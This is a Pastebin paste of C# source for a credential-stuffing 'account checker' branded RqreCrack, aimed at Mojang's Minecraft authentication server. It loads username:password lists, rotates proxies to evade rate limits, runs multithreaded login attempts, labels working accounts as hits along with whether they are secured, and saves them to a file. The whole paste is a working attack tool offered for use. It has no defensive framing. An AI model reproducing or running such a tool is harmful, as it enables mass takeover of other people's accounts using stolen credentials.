Advertisement
Guest User

Untitled

a guest
Dec 5th, 2018
130
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.55 KB | None | 0 0
  1. quita todo y pega de nuevo
  2.  
  3.  
  4.  
  5. using System;
  6. using System.Collections.Generic;
  7. using System.Linq;
  8. using System.Text;
  9. using System.Threading.Tasks;
  10. using System.IO;
  11. using System.Threading;
  12. using xNet;
  13. using System.Globalization;
  14. using Newtonsoft.Json;
  15. using System.ComponentModel;
  16.  
  17.  
  18. namespace SKERE_CHECKER
  19. {
  20. class Program
  21. {
  22.  
  23. static void Main(string[] args)
  24. {
  25. Console.BackgroundColor = ConsoleColor.Gray;
  26. Console.Clear();
  27.  
  28. List<string> accounts = File.ReadAllLines("accounts.txt").ToList();
  29. List<string> proxies = File.ReadAllLines("proxies.txt").ToList();
  30.  
  31. Console.ForegroundColor = ConsoleColor.White;
  32. Console.Write("Threads : ");
  33. int threads = int.Parse(Console.ReadLine());
  34.  
  35. Console.Write("proxies Type : ");
  36. string proxiesType = Console.ReadLine().ToUpper();
  37.  
  38. int checkeds = 0;
  39. int Live = 0;
  40.  
  41. Task.Factory.StartNew(() =>
  42. {
  43. while (true)
  44. {
  45. Console.WindowWidth = 110;
  46.  
  47. Console.Title = " RqreCrack | " + checkeds + " Checked on | " + accounts.Count + " accounts | " + Live + " Hits | " + "CODED BY JUANCHOCONFIGS V1.1.O";
  48.  
  49. Thread.Sleep(1000);
  50. }
  51. });
  52.  
  53. Parallel.ForEach(accounts, new ParallelOptions { MaxDegreeOfParallelism = threads }, account =>
  54. {
  55. if(account.Split(':').Length == 2)
  56. {
  57. string username = account.Split(':')[0];
  58. string password = account.Split(':')[1];
  59.  
  60. request: try
  61. {
  62. using (HttpRequest request = new HttpRequest())
  63. {
  64. request.Proxy = proxies[new Random().Next(proxies.Count)];
  65. request.Type = proxiesType;
  66.  
  67. request.ConnectTimeout = 5000;
  68. request.KeepAliveTimeout = 5000;
  69. request.ReadWriteTimeout = 5000;
  70.  
  71. request.AddHeader("Content - Type", "application/json");
  72.  
  73. string response = request.Start(HttpMethod.POST,
  74. new Uri("https://authserver.mojang.com/authenticate"),
  75. new xNet.BytesContent(Encoding.UTF8.GetBytes("{\"agent\":{\"name\":\"Minecraft\",\"version\":1},\"username\":\"" + username + "\",\"password\":\"" + password + "\",\"requestUser\":true}"))).ToString();
  76.  
  77. if (response.Contains("errorMessage"))
  78. {
  79. Console.ForegroundColor = ConsoleColor.Red;
  80. Console.WriteLine("[DEAD] - " + account);
  81. }
  82. else if (response.Contains("selectedProfile"))
  83. {
  84. dynamic json = JsonConvert.DeserializeObject(response);
  85.  
  86. bool secured = (bool)json.user.secured;
  87.  
  88. Console.ForegroundColor = ConsoleColor.Green;
  89. Console.WriteLine("[LIVE] - " + account + " - " + (secured ? "Secure" : "Insecure"));
  90.  
  91. Write: try
  92. {
  93. using (StreamWriter streamWriter = new StreamWriter("hits.txt", true))
  94. {
  95. streamWriter.WriteLine(account + " - " + (secured ? "Secure" : "Insecure"));
  96. }
  97. }
  98. catch
  99. {
  100. Thread.Sleep(new Random().Next(25, 75));
  101.  
  102. goto Write;
  103. }
  104. Interlocked.Increment(ref Live);
  105.  
  106. }
  107.  
  108. Interlocked.Increment(ref checkeds);
  109. }
  110. }
  111. catch
  112. {
  113. goto request;
  114. }
  115. }
  116.  
  117. });
  118.  
  119. Console.ForegroundColor = ConsoleColor.White;
  120. Console.WriteLine("Done");
  121.  
  122. Thread.Sleep(-1);
  123. }
  124. }
  125. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement